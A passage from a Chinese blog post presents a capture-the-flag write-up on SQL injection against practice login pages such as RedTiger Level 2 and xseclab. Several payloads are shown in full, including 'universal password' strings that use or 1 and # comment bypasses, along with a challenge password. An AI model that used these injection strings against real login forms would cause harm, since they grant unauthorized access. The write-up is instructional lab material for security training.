mysql 登录框注入_CTF| SQL注入之login界面类

本文介绍了CTF中常见的SQL注入题目,包括不同难度级别的登录界面注入,解析了各种绕过限制的方法,如利用万能密码、特殊字符转义、group by with rollup等技术进行SQL注入。
摘要由CSDN通过智能技术生成

SQL注入是CTF的WEB方向必不可少的一种题型,斗哥最近也做了一些在线题目,其中最常见的题目就是给出一个登录界面,让我们绕过限制登录或者一步步注入数据。

万能密码—very easy

题目入口:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

题目来源:hacking lab inject 01~

17da91c3bdab

源代码有提示:

17da91c3bdab

万能密码登录语句构造:select * from admin where username='admin'and 1=1 #' and password='123456' ORselect * from admin where username='admin'or 1 #' and password='123456'

或者不需要admin。select * from admin where username='1'or 1 or 1 #' and password='123456'

还可以用#来注释。select * from admin where username='admin'#' and password='123456'

万能密码— easy

题目入口:http://redtiger.labs.overthewire.org/level2.php

题目来源:RedTigers Hackit Level 2 Simple login-bypass

做题密码:4_is_not_random构造语句: username=1&password=1'or'1'or'1&login=Login

17da91c3bdab

万能密码— not than easy

题目入口: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

题目来源:实验吧,不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值